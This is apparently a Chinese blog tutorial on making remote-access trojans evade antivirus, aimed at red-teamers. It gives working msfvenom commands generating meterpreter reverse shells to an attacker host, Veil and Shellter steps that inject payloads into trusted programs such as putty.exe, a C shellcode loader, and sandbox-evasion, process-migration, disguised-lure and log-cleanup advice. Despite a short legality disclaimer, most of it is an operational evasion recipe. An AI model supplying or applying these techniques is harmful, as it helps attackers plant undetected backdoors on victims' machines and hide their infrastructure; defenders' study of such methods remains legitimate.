1. 项目概述:从“免杀”说起
在安全攻防的实战演练中,木马免杀是一个绕不开的核心技术环节。简单来说,免杀就是让一个恶意程序(木马)能够绕过杀毒软件、终端安全软件等防护工具的检测,成功在目标系统上驻留并执行。这听起来像是“黑产”的专属技能,但实际上,对于从事渗透测试、红队评估、安全研究以及恶意软件分析的专业人员而言,深入理解免杀技术是至关重要的。它不仅能帮助你评估现有安全防护体系的检测能力,更能让你站在攻击者的角度思考防御策略,从而构建更有效的纵深防御体系。
我接触免杀技术有年头了,从最早的加壳、花指令,到后来的特征码定位与修改,再到如今基于内存、白名单、混淆和对抗机器学习的各种手法,可以说这是一个持续对抗、不断演进的技术领域。今天,我们不谈那些高深莫测的学术理论,就从实战角度出发,分享一套经过验证的、可落地的木马免杀思路与具体操作。无论你是想提升自己的红队技能,还是作为蓝队成员想了解攻击者的常见手法以加强防御,这篇文章都将提供直接的参考价值。我们将围绕一个经典的场景展开:如何将一个公开的、特征明显的远控木马,通过一系列技术处理,使其能够“隐身”于常见的杀软之下。
2. 核心思路与方案选型
2.1 为什么公开的木马会被秒杀?
在动手之前,我们必须先搞清楚杀毒软件是如何工作的。现代杀软主要依赖以下几种检测机制:
- 静态特征码扫描 :这是最传统的方式。杀软厂商的分析师会提取恶意软件样本中的特定字节序列(特征码),并将其加入病毒库。当扫描文件时,会匹配这些特征码。我们生成的公开木马(如Metasploit的
windows/meterpreter/reverse_tcp),其二进制结构早已被各大厂商分析透彻,特征码收录得非常全面,所以一生成就会被识别。 - 启发式分析 :不依赖特定特征码,而是分析程序的行为模式、代码结构、API调用序列等,判断其是否具有恶意软件的典型特征。例如,一个程序如果尝试修改系统关键目录、注入其他进程、建立网络连接并监听键盘,就很可能被启发式引擎判定为恶意。
- 行为监控/动态分析 :在沙箱或真实环境中运行程序,监控其实际行为,如文件操作、注册表修改、网络活动、进程创建等。这种方式对仅修改静态特征的免杀手法有很好的克制作用。
- 机器学习/人工智能 :利用训练好的模型,对文件的静态属性(如PE头信息、熵值、字符串特征)或动态行为序列进行分析和分类。这是目前最前沿也是对抗最激烈的领域。
基于以上分析,一个有效的免杀方案不能只做“表面功夫”。我们的思路必须是 多层次、组合拳 式的。
2.2 我们的实战免杀路线图
我个人的实战经验总结出一条相对稳妥的路线,它遵循“由浅入深,动静结合”的原则:
第一阶段:静态免杀 。目标是让生成的木马文件本身(在磁盘上)无法被静态扫描引擎检测到。这是基础,也是后续所有操作的前提。 第二阶段:动态/行为免杀 。目标是让木马在运行时的行为尽可能“低调”,避免触发行为监控和启发式告警。 第三阶段:加载与持久化免杀 。如何让木马进入内存、如何驻留系统,这个过程本身也需要隐蔽。
本次分享,我们将重点放在 第一阶段:静态免杀 ,并涉及部分第二阶段的思路。这是因为静态免杀是门槛相对较低、效果立竿见影,且是后续所有高级手法的基础。我们会使用几个经典工具的组合,通过编码、加密、混淆和壳保护等手段,彻底改变木马的静态特征。
注意:本文所有技术仅用于合法的安全学习、渗透测试授权演练及恶意软件防御技术研究。未经授权对他人的系统进行测试是非法行为。
3. 环境准备与工具链搭建
工欲善其事,必先利其器。一套顺手的工具能极大提升效率。以下是我在Windows和Kali Linux环境下常用的免杀工具链,它们大部分是开源或免费工具。
3.1 基础环境
- 攻击机(Kali Linux) :作为生成和处理木马的主环境。确保Metasploit Framework更新到最新。
- 测试机(Windows 10/11) :用于测试免杀效果。建议安装2-3款主流杀毒软件进行实时测试,例如Windows Defender(必选)、火绒、360安全卫士(可选,因其检测规则较强,是很好的“压力测试”工具)。 务必在虚拟机(如VMware或VirtualBox)中运行测试机,并做好快照,方便反复测试。
3.2 核心工具介绍与安装
我们将主要使用以下工具,它们各自扮演不同角色:
-
Metasploit (msfvenom) :木马生成器。这是我们的“原材料”来源。
- 在Kali中通常已预装。使用前可更新:
sudo apt update && sudo apt install metasploit-framework。
- 在Kali中通常已预装。使用前可更新:
-
Veil-Evasion :一个经典的免杀框架,内置多种编码器和payload生成方法。
- 安装(在Kali中):
sudo apt install veil-evasion # 或者从GitHub克隆(可能版本更新) # git clone https://github.com/Veil-Framework/Veil.git # cd Veil/setup # sudo ./setup.sh - 首次运行会下载所需依赖(如Python库、Wine环境等),时间较长。
- 安装(在Kali中):
-
Shellter :一款动态壳工具,通过将payload注入到合法PE文件(如
putty.exe,notepad.exe)中来实现免杀。它采用动态运行时解密技术,静态分析很难发现。- 在Kali中安装:
sudo apt install shellter。
- 在Kali中安装:
-
UPX :一款开源的可执行文件压缩壳。虽然本身不是为免杀设计,且其壳特征明显,但 结合其他混淆手段后 ,压缩改变文件结构可以作为免杀链条中的一环。
- 安装:
sudo apt install upx。
- 安装:
-
Cobalt Strike / MSFVenom 编码器 :对于MSF木马,msfvenom自带的编码器(如
shikata_ga_nai)可以初步改变特征,但单独使用效果已很有限,需要配合其他工具。
工具选型逻辑 : Veil 和 Shellter 代表了两种主流思路。 Veil 侧重于从头生成一个经过混淆加密的独立木马; Shellter 则侧重于“借壳上市”,利用可信软件的清白身份。在实际操作中,我常常会串联使用它们,例如先用 Veil 生成一个基础免杀payload,再用 Shellter 将其注入到干净软件中,形成双重保护。
4. 实战操作一:使用Veil-Evasion生成基础免杀木马
Veil提供了图形化和命令行两种界面。对于新手,图形化界面更友好;对于自动化或远程操作,命令行更高效。这里我们以命令行模式为例,因为它更清晰。
4.1 生成Payload
首先,我们使用Veil的 list 命令查看可用的payload模块。Veil将payload分为不同“工具”类别,如 Evasion (免杀)、 Ordnance (生成shellcode)等。
veil
# 进入Veil交互界面后,输入:
list
我们会看到很多可用的模块,例如 c/meterpreter/rev_tcp (C语言编写的)、 python/meterpreter/rev_tcp 等。 C 语言编译的exe通常比 Python 打包的exe体积小,更原生。我们选择其中一个C语言的模块。
use evasion
use c/meterpreter/rev_tcp
# 或者直接一步到位:use evasion/c/meterpreter/rev_tcp
设置必要的参数,主要是LHOST(你的攻击机IP)和LPORT(监听端口)。
set LHOST 192.168.1.100 # 替换为你的Kali IP
set LPORT 4444
generate
接下来,Veil会提示你为payload起个名字,然后开始生成过程。这个过程会:
- 生成经过加密和编码的shellcode。
- 将shellcode嵌入到一个C语言模板中。
- 使用
mingw交叉编译工具链(在Linux下编译Windows可执行文件)将C代码编译成.exe文件。
生成的exe文件默认会输出到 /var/lib/veil/output/compiled/ 目录下,并以你起的名字命名。
实操心得 :
- Veil在编译时可能会遇到依赖问题,最常见的是
wine环境或mingw组件缺失。如果报错,仔细查看错误信息,通常可以通过apt install安装对应的包来解决。 - 可以尝试Veil不同的payload模块,比如
go语言写的payload,有时会有奇效,因为早期杀软对Go语言的关注度相对较低。 - 生成后,可以先用
file命令和strings命令简单看一下文件类型和里面的字符串,你会发现相比原生的msf木马,可读字符串少了很多。
4.2 初步测试与问题
将生成的exe文件拷贝到Windows测试机。在运行前,先右键用安装的杀毒软件扫描一下。如果运气好,可能已经过了静态扫描。但很多时候,尤其是面对Windows Defender和360,可能依然会被查杀。
这是因为Veil虽然做了加密混淆,但其生成模板和编译模式可能也积累了一定的特征。此时,我们需要进入下一步—— 加壳与注入 。
5. 实战操作二:使用Shellter进行PE注入免杀
Shellter的思路非常巧妙:它不生成新文件,而是“改造”一个已有的、干净的、可信的Windows程序(称为“宿主文件”)。它会在宿主程序的代码节中开辟空间,注入我们的payload,并修改程序入口点,使得程序运行时先执行我们的payload,再跳回原程序正常执行。对于用户来说,被注入的程序(如 putty.exe )看起来运行正常,但我们的木马已经在后台悄悄运行了。
5.1 准备宿主文件
找一个32位的、常见的、纯净的Windows可执行文件。64位程序也可以,但Shellter对32位的支持更稳定。可以从官方渠道下载,例如:
-
putty.exe(SSH客户端) -
notepad.exe(可以从C:\Windows\SysWOW64\里复制一个出来,注意是32位版本) -
7zFM.exe(7-Zip文件管理器)
将选好的宿主文件(例如 putty.exe )放到Kali中一个方便操作的目录。
5.2 使用Shellter进行注入
Shellter有自动(Auto)和手动(Manual)两种模式。自动模式适合新手,手动模式可控性更强。我们先从自动模式开始。
# 启动Shellter,需要以root权限运行
sudo shellter
- 选择操作模式:输入
A选择自动模式。 - 指定PE目标:输入宿主文件的完整路径,例如
/home/kali/tools/putty.exe。 - 是否启用隐身模式?输入
Y。这个模式会尝试规避一些基于内存扫描的检测。 - 选择Payload:这里选择
L(列出),然后选择Meterpreter_Reverse_TCP(对应的编号)。 - 设置Payload参数:输入LHOST和LPORT,和之前在Veil中设置的一样。
- 设置编码:Shellter会询问是否使用多态编码(Polymorphic Encoding),输入
Y。这会在注入时对payload进行一层编码,增加变化性。 - 之后,Shellter会开始执行注入过程。你会看到它分析PE结构、寻找合适的注入点、进行注入和修复重定位等操作。
注入完成后,会在同目录下生成一个新的文件,默认名可能是 putty_shelltered.exe ,或者直接覆盖原文件(建议先备份原文件)。这个新文件就是我们的“免杀木马”。
5.3 Shellter注入原理与避坑指南
原理浅析 :Shellter进行的是“动态运行时注入”。它注入的payload在磁盘上是加密的,只有当程序运行时,才会在内存中解密并执行。这意味着静态扫描看到的只是加密后的数据块和正常的宿主程序代码,很难直接关联到已知的恶意特征。同时,因为宿主程序本身是合法的,其导入表、资源等结构都是清白的,有助于通过应用程序白名单的检查。
避坑指南 :
- 宿主文件选择 :不要选择太新或版本特殊的软件,可能兼容性不好。也不要选择系统关键进程(如
svchost.exe),行为异常容易被监控软件发现。putty.exe是一个经典选择,因为它是一个常见的网络工具,发起网络连接的行为不那么突兀。 - 杀软拦截 :在注入过程中,如果宿主机安装了杀毒软件,可能会拦截Shellter的操作(因为它修改了可执行文件)。确保在干净的Kali环境中操作。
- 测试失败 :注入后的程序在运行时,原功能必须正常。如果
putty.exe打不开了,说明注入破坏了原程序逻辑,这个样本就是失败的。Shellter的成功率很高,但并非100%。 - 对付高级EDR :对于具备完整内存扫描能力的终端检测与响应(EDR)系统,仅靠Shellter可能不够。需要结合更高级的内存加密(如Reflective DLL Injection)、API钩子规避等技术。
6. 实战操作三:多重编码与自定义壳
如果经过Veil+Shellter处理后,样本仍然被查杀(特别是某些国产杀软),我们可以考虑更进一步的措施: 多重编码 和 使用自定义壳或商业壳 。
6.1 利用MSFVenom进行多重编码
在生成最初的原始payload时,我们就可以使用msfvenom进行多次迭代编码。虽然 shikata_ga_nai 编码器的特征已被广泛识别,但多次编码可以增加分析复杂度。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f raw > payload_raw.bin
-
-i 10: 指定编码迭代10次。 -
-f raw: 输出为原始的shellcode二进制文件。
现在你得到了一个经过10次编码的shellcode ( payload_raw.bin )。这个raw文件不能直接运行,需要把它放入一个加载器(Loader)中。我们可以用Veil来生成这个加载器,或者在下一步用C语言自己写一个简单的加载器。
6.2 编写自定义加载器(C语言)
这是免杀技术进阶的关键一步。自己编写加载器,可以完全控制shellcode的解密、加载和执行方式,彻底摆脱公开工具的特征。下面是一个极简的Windows C语言加载器示例:
#include <windows.h>
#include <stdio.h>
int main() {
// 这里是经过msfvenom多次编码后的shellcode,需要替换成你的
unsigned char shellcode[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"..."; // 很长,此处省略
// 计算shellcode长度
int shellcode_len = sizeof(shellcode);
// 在内存中分配可读、可写、可执行(RWX)的页面
void *exec_mem = VirtualAlloc(0, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec_mem == NULL) {
return -1;
}
// 将shellcode复制到分配的内存中
memcpy(exec_mem, shellcode, shellcode_len);
// 将执行流程跳转到shellcode
(*(void(*)()) exec_mem)();
return 0;
}
操作步骤 :
- 将上面
shellcode[]数组的内容替换成你payload_raw.bin文件的内容。可以用xxd -i payload_raw.bin命令将二进制文件转换成C语言数组格式。 - 在Windows上安装
mingw编译环境(或用Kali交叉编译),编译这个C程序。# 在Kali上交叉编译为Windows可执行文件 x86_64-w64-mingw32-gcc loader.c -o loader.exe -s -Os # -s 去除符号表,-Os 优化大小
这样生成的 loader.exe 就是一个高度定制化的木马载体。它的行为非常简单:申请内存、拷贝代码、执行。静态分析只能看到这个固定的加载逻辑,而真正的恶意shellcode是作为数据数组存在的,并且是经过多次编码的,极大增加了识别难度。
6.3 使用商业保护壳(高级)
对于有更高要求的研究,可以使用商业软件保护壳,如Themida、VMProtect、Enigma Protector等。这些壳具备强大的反调试、反虚拟机、代码虚拟化、多态变形等功能,其保护强度远超开源工具。它们原本用于保护商业软件不被破解,但同样可以用于包裹木马,使其难以被分析和检测。
使用流程 :
- 将我们生成的
loader.exe(或任何其他木马文件)用保护壳软件打开。 - 配置保护选项:启用虚拟化、混淆、反调试等保护项。
- 加壳保护,生成新的
loader_protected.exe。
注意事项 :
- 成本 :商业壳通常价格不菲。
- 特征 :一些强大的商业壳本身会被杀软标记为“风险软件”或“黑客工具”,可能引发告警。
- 过行为 :壳能很好地保护静态特征,但程序运行后的行为(网络连接、进程注入)仍需自己控制,否则会被动态行为检测捕获。
7. 行为规避与动态免杀思路
通过上述步骤,我们大概率已经实现了静态免杀。但木马要真正发挥作用,必须运行起来。运行时,它的行为可能暴露自己。以下是一些动态免杀的核心思路:
7.1 流量加密与伪装
Meterpreter的默认流量是明文的(虽然MSF4.x以后默认有一些加密),特征明显。在MSF中生成payload时,可以指定更高级的传输方式和加密。
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f exe -o payload_https.exe
使用 reverse_https 而不是 reverse_tcp ,流量走HTTPS协议,更难以被网络层设备识别和拦截。在Metasploit监听时,也需要使用对应的 exploit/multi/handler 模块,并设置 PAYLOAD 为 windows/meterpreter/reverse_https 。
7.2 睡眠与延迟执行
木马一运行就立刻反弹连接,这种行为很可疑。可以在shellcode或加载器中加入随机的睡眠(Sleep)时间。
// 在加载器执行shellcode前,随机睡眠一段时间
int sleep_time = rand() % 120 + 30; // 随机睡眠30到150秒
Sleep(sleep_time * 1000);
// ... 然后再执行shellcode加载逻辑
这样可以让木马在开机后或用户运行后,过一段时间再行动,避开开机时的安全软件集中扫描期。
7.3 进程注入与迁移
让木马运行在合法进程的内存空间中,是隐藏自己的绝佳方法。Meterpreter本身就提供了 migrate 命令。
- 在MSF监听会话建立后,立即迁移到一个稳定进程(如
explorer.exe,svchost.exe)。meterpreter > run post/windows/manage/migrate - 也可以在生成payload时,就指定注入到某个进程。但这需要更复杂的加载器编写,利用
CreateRemoteThread等API。
进程注入后,任务管理器里看到的将是 explorer.exe 在发起网络连接,而不是一个陌生的进程,隐蔽性大增。
7.4 规避沙箱与虚拟机
高级的恶意软件会检测自己是否运行在沙箱或虚拟机中。如果检测到,就停止恶意行为或执行无害操作。常见的检测点包括:
- 硬件信息 :检查CPU核心数是否过少(沙箱通常分配单核)、内存是否过小、硬盘大小是否异常。
- 软件环境 :检查是否存在沙箱相关进程(如
vmsrvc,vboxservice)、分析工具进程(如procmon,wireshark)。 - 用户交互 :沙箱通常没有鼠标移动、很少用户点击。可以检测最近一段时间内是否有鼠标移动事件或键盘输入。
在自定义加载器中加入这些检测逻辑,如果发现异常环境,则执行一段无害的循环或直接退出。
8. 测试方法论与效果验证
免杀是一个“测试-失败-调整-再测试”的迭代过程。没有一个方法能一劳永逸。建立科学的测试流程至关重要。
8.1 多引擎扫描测试
不要只依赖一两款杀软。将生成的样本上传到在线多引擎扫描平台,如 VirusTotal 或 VirScan 。它们集成了数十款杀毒引擎的扫描能力,能给你一个全面的视图。
重要警告 : 千万不要将你未来要在真实环境中使用的、含有真实IP和端口的payload上传到这些公开平台! VirusTotal等平台的数据可能会与安全厂商共享,导致你的C2服务器IP、payload特征立即暴露。正确的做法是:
- 使用测试用的、不存在的IP(如
192.0.2.1)生成样本用于扫描。 - 或者,在样本中只保留加载器部分,将shellcode替换为无实际功能的“打桩”代码(如只执行
Sleep),然后上传测试。
8.2 本地动态行为测试
在安装了杀软的Windows测试虚拟机中运行样本,观察:
- 静态扫描 :右键扫描是否报毒?
- 运行瞬间 :双击运行时,杀软是否弹出实时防护拦截框?
- 运行后 :进程是否成功驻留?网络连接是否建立?杀软在运行一段时间后是否进行回溯检测并清除?(有些杀软有行为回溯功能,运行时没报,但几分钟后清理了)。
- 原程序功能 :如果用了Shellter,原程序(如putty)的功能是否完全正常?
8.3 记录与迭代
记录每一次测试的详细信息:
- 样本生成方式(工具链、参数)
- 测试时间
- 使用的杀软版本
- 静态扫描结果(通过/拦截)
- 动态运行结果(通过/拦截)
- 如果被拦截,杀软报毒名是什么?(如
Trojan:Win32/Wacatac.B!ml)
报毒名能给你线索: Heur 代表启发式, ML 代表机器学习, Gen 代表通用检测。根据报毒名,你可以调整免杀策略。例如,如果是启发式报毒,可能需要更多地改变程序行为模式;如果是静态特征报毒,则需要加强代码混淆和加密。
9. 常见问题排查与进阶思考
9.1 为什么我的样本总是被Windows Defender杀?
Windows Defender(现在叫Microsoft Defender)是集成在系统中的强大对手,它结合了云查杀、机器学习模型和强大的行为监控。
- 静态被杀 :说明特征没改干净。尝试组合更多层技术:MSF编码 + Veil混淆 + Shellter注入 + 自定义壳。或者彻底转向完全自定义的加载器。
- 运行时被杀 :说明行为有问题。检查你的木马是否在运行后立即进行了敏感操作(如直接连接C2、注入进程)。尝试加入延迟、使用更隐蔽的进程注入技术(如
Process Hollowing)、或者使用reverse_https等更隐蔽的传输方式。 - 启用Defender的排除项 :在测试阶段,可以在虚拟机中为你的测试目录添加Defender排除项,避免它干扰你的生成和测试过程(仅用于测试环境!)。
9.2 免杀效果能持续多久?
这是一个残酷的现实: 没有永久的免杀 。尤其是当你将样本用于公开的VirusTotal扫描后,其特征很可能在几小时到几天内被各大厂商收录。因此:
- 时效性 :免杀是短期有效的。一次成功的免杀可能只持续几天甚至几小时。
- 针对性 :针对特定环境、特定杀软版本做的免杀可能更持久。例如,只针对目标企业使用的某款老版本终端防护软件。
- 持续迭代 :红队行动中,需要准备多个不同的payload和加载器,轮流使用,一个被检测就切换另一个。
9.3 除了技术,还有什么需要注意?
- 社会工程学 :技术免杀再强,如果用户不运行也是白费。精美的图标、诱人的文件名、合理的文件来源(如伪装成简历、发票)往往比技术本身更重要。
- 基础设施隐匿 :你的C2服务器IP、域名同样需要隐藏。使用CDN、云函数、域名前置、快速切换域名等技术来保护基础设施。
- 操作安全 :避免在生成payload的机器上直接进行攻击操作,使用跳板机,注意日志清理。
木马免杀是一场永无止境的猫鼠游戏。它的价值不在于找到一个“银弹”,而在于理解整个攻防对抗的链条:从静态特征到动态行为,从本地检测到云端响应。通过亲手实践这些技术,你才能真正体会到防御方构建检测规则的思路,从而在设计安全方案时,能够更好地预判和防范真正的威胁。保持学习,保持对新技术的好奇,但永远记住将技术用于正道。

529

被折叠的 条评论
为什么被折叠?



